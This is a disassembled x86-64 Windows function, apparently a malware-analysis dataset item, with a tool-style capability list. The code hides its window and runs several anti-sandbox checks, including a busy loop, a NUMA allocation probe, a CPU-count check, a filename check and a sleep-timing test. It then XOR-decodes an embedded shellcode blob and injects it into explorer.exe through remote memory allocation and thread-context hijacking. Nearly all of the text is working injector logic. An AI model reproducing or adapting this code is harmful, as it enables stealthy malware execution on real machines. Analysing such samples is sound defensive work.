Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xbc0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xb60], ecx
mov qword [rbp + 0xb68], rdx
call fcn.140001d00
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0xb18], rax
mov rax, qword [rbp + 0xb18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
movabs rax, 0x2683a023a
mov qword [rbp + 0xb10], rax
mov qword [rbp + 0xb38], 0
mov qword [rbp + 0xb30], 0
mov qword [rbp + 0xb30], 0
jmp 0x140001614
add qword [rbp + 0xb38], 1
add qword [rbp + 0xb30], 1
mov rax, qword [rbp + 0xb30]
cmp rax, qword [rbp + 0xb10]
jl 0x140001604
mov rax, qword [rbp + 0xb38]
cmp rax, qword [rbp + 0xb10]
je 0x14000163e
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0xb08], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0xb08], rax
cmp qword [rbp + 0xb08], 0
je 0x1400016c9
lea rax, str.fcJhXxgJ
mov rcx, rax
call fcn.140001530
lea rax, [rbp + 0xaa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0xac0]
mov dword [rbp + 0xb04], eax
cmp dword [rbp + 0xb04], 1
jg 0x1400016dd
jmp 0x1400016d3
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xb68]
mov rax, qword [rax]
lea rdx, str.game_of_stupids.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x14000172d
mov dword [rbp + 0xb00], 0
mov qword [rbp + 0xaf8], 0
mov ecx, 0x15431514
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xaf8], rax
cmp qword [rbp + 0xaf8], 0
je 0x140001751
jmp 0x140001737
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xaf8]
mov r8d, 0x15431514
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0xaf4], eax
mov ecx, 0xd066
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0xaf0], eax
mov eax, dword [rbp + 0xaf0]
sub eax, dword [rbp + 0xaf4]
cmp eax, 0xd065
jg 0x14000179a
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0xaf8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x8a0]
lea rdx, [0x14000a030]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0xe551083bc4c0e6d0
movabs rdx, 0x8e66cfb1c65e987b
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7d8], rdx
movabs rax, 0x586f4fe745e04f11
movabs rdx, 0x1157e74b3a0d6d39
mov qword [rbp + 0x7e0], rax
mov qword [rbp + 0x7e8], rdx
movabs rax, 0x469cb6929979dd55
movabs rdx, 0x5feda95c5f1be359
mov qword [rbp + 0x7f0], rax
mov qword [rbp + 0x7f8], rdx
movabs rax, 0x8997c13bc3822a7c
movabs rdx, 0x958e2c6af019e9c8
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x808], rdx
movabs rax, 0x5256bff7154a7d95
movabs rdx, 0x2f79b851ad7e87d1
mov qword [rbp + 0x810], rax
mov qword [rbp + 0x818], rdx
movabs rax, 0x558e931e89ea57d6
movabs rdx, 0xaaeef36642662ce0
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], rdx
movabs rax, 0x1e395c2574e0992a
movabs rdx, 0x33d78249fc3a4f4a
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], rdx
movabs rax, 0xf8867b933eaf25d1
movabs rdx, 0x70bfbcf87431d828
mov qword [rbp + 0x840], rax
mov qword [rbp + 0x848], rdx
movabs rax, 0xf6484875f7ed63b2
movabs rdx, 0x9df385e7253ecfe1
mov qword [rbp + 0x850], rax
mov qword [rbp + 0x858], rdx
movabs rax, 0x9e0e4603cbd8c095
movabs rdx, 0xa85376b353a9904c
mov qword [rbp + 0x860], rax
mov qword [rbp + 0x868], rdx
movabs rax, 0xd336e90d614e73bc
movabs rdx, 0x51f32db4d1b63838
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x878], rdx
movabs rax, 0xe4a2b44385c70af2
movabs rdx, 0x82326ebc5214e48f
mov qword [rbp + 0x880], rax
mov qword [rbp + 0x888], rdx
movabs rax, 0x588682326ebc5214
movabs rdx, 0xaf0339aba4645
mov qword [rbp + 0x88a], rax
mov qword [rbp + 0x892], rdx
mov dword [rbp + 0xb2c], 0
mov dword [rbp + 0xb28], 0
jmp 0x140001a0f
cmp dword [rbp + 0xb2c], 0xc9
jne 0x1400019d0
mov dword [rbp + 0xb2c], 0
mov eax, dword [rbp + 0xb28]
cdqe
movzx edx, byte [rbp + rax + 0x8a0]
mov eax, dword [rbp + 0xb2c]
cdqe
movzx eax, byte [rbp + rax + 0x7d0]
xor edx, eax
mov eax, dword [rbp + 0xb28]
cdqe
mov byte [rbp + rax + 0x5d0], dl
add dword [rbp + 0xb2c], 1
add dword [rbp + 0xb28], 1
mov eax, dword [rbp + 0xb28]
cmp eax, 0x1fe
jbe 0x1400019ba
mov dword [rbp + 0x4a0], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xae8], rax
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0xae8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x140001c25
jmp 0x140001c06
lea rax, [rbp + 0x4a0]
add rax, 0x2c
lea rdx, str.explorer.exe
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x140001c06
mov qword [rbp + 0xb20], 0
mov dword [rbp - 0x20], 0x10000b
mov dword [rbp + 0x480], 0x1c
mov eax, dword [rbp + 0x4a8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xae0], rax
mov rax, qword [rbp + 0xae0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1ff
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0xad8], rax
lea rcx, [rbp + 0x5d0]
mov rdx, qword [rbp + 0xad8]
mov rax, qword [rbp + 0xae0]
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov edx, 0
mov ecx, 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xad0], rax
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xad0]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
jmp 0x140001b8a
mov edx, dword [rbp + 0x48c]
mov eax, dword [rbp + 0x4a8]
cmp edx, eax
jne 0x140001b8a
mov eax, dword [rbp + 0x488]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0xb20], rax
jmp 0x140001ba4
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xad0]
mov rcx, rax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x140001b55
mov rax, qword [rbp + 0xb20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xb20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0xad8]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xb20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0xb20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
lea rdx, [rbp + 0x4a0]
mov rax, qword [rbp + 0xae8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x140001a60
mov rax, qword [rbp + 0xae8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0xbc0
pop rsi
pop rdi
pop rbp
ret